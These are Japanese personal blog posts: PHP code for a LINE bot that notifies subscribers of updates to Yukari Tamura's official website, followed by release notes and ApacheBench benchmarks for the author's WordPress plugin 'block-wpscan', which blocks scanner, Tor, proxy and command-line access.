if (isset($mid) === true && strpos($f_mids, $mid) === false) {
    $text = "ご登録が完了しました。\r\n田村ゆかりさん公式サイトが更新される度にLINEでお知らせいたします。";
    $response_format_text = ['contentType' => 1, "toType" => 1, "text" => $text];
    $post_data = [
        "to" => [$mid],
        "toChannel" => "1383378250",
        "eventType" => "138311608800106203",
        "content" => $response_format_text
    ];

    toPost($post_data);
    file_put_contents('mids', $mid . "\r\n", FILE_APPEND | LOCK_EX);
}

function toPost($post_data)
{
    $ch = curl_init("https://trialbot-api.line.me/v1/events");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/json; charser=UTF-8',
        'X-Line-ChannelID: <チャンネルID>',
        'X-Line-ChannelSecret: <チャンネルシークレット>',
        'X-Line-Trusted-User-With-ACL: <MID>'
    ));
    $result = curl_exec($ch);
    curl_close($ch);

    return $result;
}

LINE BOT APIの登録の仕方はQiitaの方が詳しく説明されてるので割愛します。

このファイルは最初の登録のときにしか使いません。 何でだか知らないけど登録者全員にメッセージを送るAPIもないし、登録者全員のID(mid)を取得するAPIも今のところないので 1度メッセージを送ってもらって、ファイルに保存するといった方法を取りました。他にいい方法あったら教えて下さい...。

 

<?php
require_once 'simple_html_dom.php';

$html = file_get_html('http://www.tamurayukari.com/');
if ($html === false) {
    die();
}

@$value = file_get_contents('content.txt');

/* 更新内容 */
$content = $html->find('td a', 0)->plaintext;
$content = trim($content);

/* 更新URL */
$url = $html->find('div[id=news_table] a', 0)->href;
$url = trim(toGetShortUrl($url));

if ($value !== $content) {
    $f_mids = file('./mids');

    foreach ($f_mids as $row) {
        $text = "【田村ゆかり公式サイト通知BOTよりお知らせ】\r\n田村ゆかり公式サイトが更新されました!\r\n$content\r\n詳しくはこちら $url";
        $response_format_text = ['contentType' => 1, "toType" => 1, "text" => $text];
        $post_data = [
            "to" => [trim($row)],
            "toChannel" => "1383378250",
            "eventType" => "138311608800106203",
            "content" => $response_format_text
        ];

        toPost($post_data);
        file_put_contents('content.txt', $content);
    }
}

function toPost($post_data)
{
    $ch = curl_init("https://trialbot-api.line.me/v1/events");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/json; charser=UTF-8',
        'X-Line-ChannelID: <チャンネルID>',
        'X-Line-ChannelSecret: <チャンネルシークレット>',
        'X-Line-Trusted-User-With-ACL: <mid>'
    ));
    $result = curl_exec($ch);
    curl_close($ch);

    return $result;
}

function toGetShortUrl($url)
{
    $api = 'GoogleShorterURLapi';

    $data = array(
        'longUrl' => $url
    );
    $data = json_encode($data);

    $header = array(
        "Content-Type: application/json",
        "Content-Length: " . strlen($data)
    );

    $context = array(
        "http" => array(
            "method" => "POST",
            "header" => implode("\r\n", $header),
            "content" => $data
        )
    );

    $result = file_get_contents("https://www.googleapis.com/urlshortener/v1/url?key=${api}", false,
        stream_context_create($context));
    $result = json_decode($result);

    return $result->id;
}

本当は1つのファイルに纏めたくて、引数有無で条件分岐してたけど不格好になっちゃうし見栄えが悪かったので別々にしました。

midがまとめられたファイルを配列に入れてforeachで回してますが、 「mid,mid,mid」みたいな感じで一斉送信できるらしいです。 で、でも改行を","で置換して文末の","を削除して~って流れよりforeachの方が楽な気がします。最初から「mid,mid,mid」みたいな感じで保存すればいいだけなんですけどね。

更新されると以下のようなメッセージが届きます。 SnapCrab_NoName_2016-4-9_14-31-52_No-00

 

新しくAPIが追加されることを願います。 ちなみにスクレイピングに関しては運営に承認済みです^ー^

例外クローラーの追加、判定結果が分かるように。block-wpscan 0.4.2 をリリースしました

block-wpscan

Wordpressのプラグインです。 不正っぽいアクセスをブロックするものです。 WordPressでwpscan,tor,proxy,コマンドラインからのアクセスをブロックするプラグイン「block-wpscan」

 

Changelog

  • Twitterbotを例外に追加
  • なんでブロックされたかを表示

 

 

Twitterbotを例外に追加

ブログの記事URLをツイートとかすると”Twitter-bot"からのアクセスがくる。 これがブロックされてたので例外へ追加するように。

 

 

なんでブロックされたかを表示

FireShot Capture 29 - block-wpscan ‹ るいすときのこの物語 —_ - https___luispc.com_wordpress_wp-admin_admin.php

新たに”Judge"という項目を追加 ”Not browser”というのはコマンドラインからのアクセスを指します。

ベンチマーク取ってみたんだけど、何故かプラグインが無効の時のほうが速い...。 なんでだろう。誰かベンチマーク取ったら教えて下さい...。

ログの検索機能、リクエスト先の表示などを追加した block-wpscan 0.4.1 をリリース

block-wpscan とは

Torのアクセスや、Proxyとか色々不正だと思うアクセスをブロックするプラグインです。 詳しくはこちらを見て下さい。 WordPressでwpscan,tor,proxy,コマンドラインからのアクセスをブロックするプラグイン「block-wpscan」

 

 

Changelog

  • ログから検索する機能を追加
  • ログにリクエストURLを追加
  • ログに whois へのリンクを追加
  • livedoorのアクセスを例外に追加
  • ログのファイルサイズの表示を修正
  • ログの保存先を変更

 

 

ログの検索機能

FireShot Capture 22 - block-wpscan ‹ るいすときのこの物語 —_ - https___luispc.com_wordpress_wp-admin_admin.php

検索フォームに入力するだけです。 IPアドレスでもユーザーエージェントでも、リクエスト先でも何でも検索できますが正規表現とかは使えないです。 Javascriptが書けないので jquery-searcher というのを使わせていただきました。

 

 

ログにリクエストURL, whois のリンクを追加

FireShot Capture 19 - block-wpscan ‹ るいすときのこの物語 —_ - https___luispc.com_wordpress_wp-admin_admin.php

そのまんまです。 ブロックしたアクセスのIPとホストネームだけ表示しても意味ねえなと思って追加した。

GeoIPとかどうにかこうにかしたかったけど、ファイル数増やすのも嫌だし変に外部サービスに頼るのもWordpressのガイドラインか何かに 違反しそうなので断念した。自分でAPIサーバーか建てても良いけど負荷が大きくなりそう。

 

 

livedoorのアクセスを例外に追加

FireShot Capture 25 - block-wpscan ‹ るいすときのこの物語 —_ - https___luispc.com_wordpress_wp-admin_admin.php

ログをリセットしてしまった関係で少ないけど割りと高頻度だったため、例外に追加した。

 

 

ログのファイルサイズの表示を修正

FireShot Capture 26 - block-wpscan ‹ るいすときのこの物語 —_ - https___luispc.com_wordpress_wp-admin_admin.php

PHPのfilesize関数で 1024 / 1024 Mbyteみたいな書き方をしてたけど不格好だった。 Wordpressに size_format とかいう便利な関数があったからこれに変更。

 

 

ログの保存先を変更

wp-content/plugin/block-wpscan から wp-content/block-wpscan へ変更 アップデート毎に消されるのはどうかなと思いまちた。

 

雑書

ベンチマークを取ろうと思ったんですけどこのWordpressを動かしてるVPSが仮想1core / 512MB でベンチマークが取れません! テストができる環境になったらまた載せます...。

188.143.234.155  からのアクセスがユーザーエージェントはゴロゴロ変わりながら割りと高頻度でアクセスしてくる...。 コマンドラインからのアクセスだけどユーザーエージェントは偽装してるっぽい。 このプラグイン有能か???

不正なアクセスをブロックする block-wpscan の0.3.1へのアップデート

block-wpscan 0.3.1 をリリースしました。 WordPressでwpscan,tor,proxy,コマンドラインからのアクセスをブロックするプラグイン「block-wpscan」

 

Changelog

ログ機能にUserAgentを追加

0.3.1-log

 

メッセージ表示機能にHTMLが使えるように

SnapCrab_NoName_2016-3-13_19-8-46_No-00 メッセージ表示に加えてリダイレクト機能を追加(↓GIF再生)

redirect

ログの削除機能を追加

delete

 

ログの表示順を降順に変更

0.3.1-log

 

 

ベンチマーク

All ON

Server Software:        nginx/1.9.11
Server Hostname:        luispc.com
Server Port:            443
SSL/TLS Protocol:       TLSv1.2,ECDHE-RSA-AES128-GCM-SHA256,2048,128

Document Path:          /
Document Length:        75154 bytes

Concurrency Level:      100
Time taken for tests:   213.205 seconds
Complete requests:      1000
Failed requests:        0
Write errors:           0
Total transferred:      75695000 bytes
HTML transferred:       75154000 bytes
Requests per second:    4.69 [#/sec] (mean)
Time per request:       21320.451 [ms] (mean)
Time per request:       213.205 [ms] (mean, across all concurrent requests)
Transfer rate:          346.71 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:       22  144 322.7     35    1912
Processing:  2638 20597 3918.3  19647   39420
Waiting:     2618 20563 3890.0  19630   39401
Total:       2661 20741 4151.2  19701   39834

 

All OFF

Server Software:        nginx/1.9.11
Server Hostname:        luispc.com
Server Port:            443
SSL/TLS Protocol:       TLSv1.2,ECDHE-RSA-AES128-GCM-SHA256,2048,128

Document Path:          /
Document Length:        75154 bytes

Concurrency Level:      100
Time taken for tests:   199.194 seconds
Complete requests:      1000
Failed requests:        0
Write errors:           0
Total transferred:      75695000 bytes
HTML transferred:       75154000 bytes
Requests per second:    5.02 [#/sec] (mean)
Time per request:       19919.448 [ms] (mean)
Time per request:       199.194 [ms] (mean, across all concurrent requests)
Transfer rate:          371.10 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:       21  157 439.6     34    2853
Processing:  2938 19103 1730.4  19032   26093
Waiting:     2917 19087 1729.9  19017   26081
Total:       2961 19260 1962.2  19083   28902

All ON Time taken for tests: 213.205 seconds All OFF Time taken for tests: 199.194 seconds

1000リクエストを投げて差は14秒程ができます。 1リクエスト0.33秒差ができます。

 

雑書

自分で使っててログとかを見てみるとロシアからのアクセスが多い。 多分VPNなりProxyなりだと思うけど。 UAも "php5.{3" とか意味分からないのがあったり libcurl からアクセスがあったり面白い。

月末に引っ越すんだけど時間が経つのは早いなぁ